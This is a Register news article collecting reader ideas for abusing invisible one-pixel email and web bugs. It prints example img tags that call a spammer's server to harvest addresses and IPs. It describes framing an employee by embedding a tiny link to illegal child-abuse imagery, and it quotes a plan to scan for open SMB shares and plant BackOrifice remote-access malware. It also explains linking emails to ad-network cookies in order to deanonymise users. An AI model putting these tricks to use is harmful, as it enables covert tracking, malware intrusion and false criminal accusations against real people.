Feeds

Fun with Internet bugs

How to get your boss sacked

  • alert
  • submit to reddit

Internet Security Threat Report 2014

In a recent story we expressed scepticism over claims that the famous HTML bug - an invisible one-pixel image embedded in an HTML document or e-mail message referencing another image on a remote server - could be used for more than verifying e-mail addresses and garnering IPs.

We asked our readers to suggest more malicious uses, and while all agreed that this bug is rather limited (a mere spanner in the toolbox, so to speak), two produced ideas which we hadn't thought of, and which are, we have to admit, a little scary.

First, to use the bugs for e-mail verification, one might use a simple script to deliver the messages, each containing a unique ID number corresponding to an e-mail address in an existing database. The victim's e-mail client would call the 1x1 transparent GIF thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/e-mail.cgi?uniqueID#" >.

The e-mail.cgi then creates a new database of good e-mail addresses, the IPs used, etc., based on the unique ID number.

For a somewhat more direct approach, a simple query can be employed thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/verifyme?r00tarded@luser.edu" > or perhaps < img src="http://www.dirtbag-spammer.org/web-bug.gif?address=r00tarded@luser.edu" >.

Any e-mail opened would request the URL, and the e-mail addresses and IP numbers can be parsed and stored in a database.

Another use for the HTML bug is to track the distribution of documents within a company, e.g., a job-hunter distributing his resume. Everyone who opens the document will automatically connect quietly to the server where the image is stored, and server logs will show who did so.

For a very sweet dirty trick along those lines, one could embed a link to a porn picture on-line, resized at 1x1 so it's invisible in the e-mail. Network logs will show that a given employee requested, say, preteen_bestial.gif from www.loathsome-sex-offenders.com. Even better, if the company has spyware in place, the jack-booted network thugs won't even have to be notified by the trickster before grassing him out to senior management.

Honourable mention goes to Stefan for noting that cookies can be used and referenced with both e-mail addresses and with records easily purchased from consumer profiling outfits, to associate not only the e-mail with a living person and their real-life address, but also to track them on the Web.

"By placing the server that delivers the image in the same domain as, say, a banner ad network, it is possible to access the users cookies set by the ad network and thus associate a hitherto anonymous user profile with a working e-mail address. A lot of the Web bugs out there are already placed by or on behalf of well-known ad networks who hire "image space" on spam lists for this very purpose," he writes.

"Put this together with the data that can be purchased from a number of data mining outfits who specialize in deep geographical user profiling, and something as seemingly harmless as a 1x1 pixel image embedded in a mail message can be used to associate a Web sites visited by a user with a street address. In today's world of personalized e-commerce, such knowledge is worth serious money."

Nice one, that; but the coveted Register t-shirt goes to PinkFreud for this deliciously malevolent suggestion:

"Post a message on USENET with an IMG tag which points to a CGI script which returns a one-pixel image, while logging the IP as well as scanning for open, writable SMB shares, onto which one might, say, copy BackOrifice 2000 (C:\ share?). Installing it shouldn't be too hard - modify one of a few possible Windows files, and it should be installed on the next boot. Make it a bit more sophisticated, and the victim's system can e-mail you its IP address the next time it's on line."

Now that's what we call evil ingenuity. We knew our readers wouldn't let us down. ®

Grateful thanks to: Steven Hunter, Anthony Awtrey, Michael Herf, Karsten Self, Michael Ax, Colin Percival, David Lancaster, Rick McTeague, Alexis Rosen, Ray Shaw, Mark Yen, Steven Critchfield, PinkFreud, John Swindle, Martin Burns, Nathan Jones, André Mariën, Richard Parrott, Will MacDonald, Com2Kid, Matthew Duggan, Brian Baker, Russ Davies, Alan Frame, Justin Murdock, Daniel Barlow, Stefan, Mark Powell, Daniel Brandt, Jethro Brewin, Andrew Gallagher and two anonymous readers for their excellent submissions.

Related Link

Further details from the Privacy Foundation

Providing a secure and efficient Helpdesk

More from The Register

next story
Facebook, Apple: LADIES! Why not FREEZE your EGGS? It's on the company!
No biological clockwatching when you work in Silicon Valley
'Cowardly, venomous trolls' threatened with TWO-YEAR sentences for menacing posts
UK government: 'Taking a stand against a baying cyber-mob'
Doctor Who's Flatline: Cool monsters, yes, but utterly limp subplots
We know what the Doctor does, stop going on about it already
Happiness economics is bollocks. Oh, UK.gov just adopted it? Er ...
Opportunity doesn't knock; it costs us instead
Arab States make play for greater government control of the internet
Nerds told to get lost in last-minute power grab bid at UN meeting
Zippy one-liners, broken promises: Doctor Who on the Orient Express
Series finally hits stride, but Clara's U-turn is baffling
Don't bother telling people if you lose their data, say Euro bods
You read that right – with the proviso that it's encrypted
Apple SILENCES Bose, YANKS headphones from stores
The, er, Beats go on after noise-cancelling spat
prev story

Whitepapers

Forging a new future with identity relationship management
Learn about ForgeRock's next generation IRM platform and how it is designed to empower CEOS's and enterprises to engage with consumers.
Why cloud backup?
Combining the latest advancements in disk-based backup with secure, integrated, cloud technologies offer organizations fast and assured recovery of their critical enterprise data.
Win a year’s supply of chocolate
There is no techie angle to this competition so we're not going to pretend there is, but everyone loves chocolate so who cares.
High Performance for All
While HPC is not new, it has traditionally been seen as a specialist area – is it now geared up to meet more mainstream requirements?
Intelligent flash storage arrays
Tegile Intelligent Storage Arrays with IntelliFlash helps IT boost storage utilization and effciency while delivering unmatched storage savings and performance.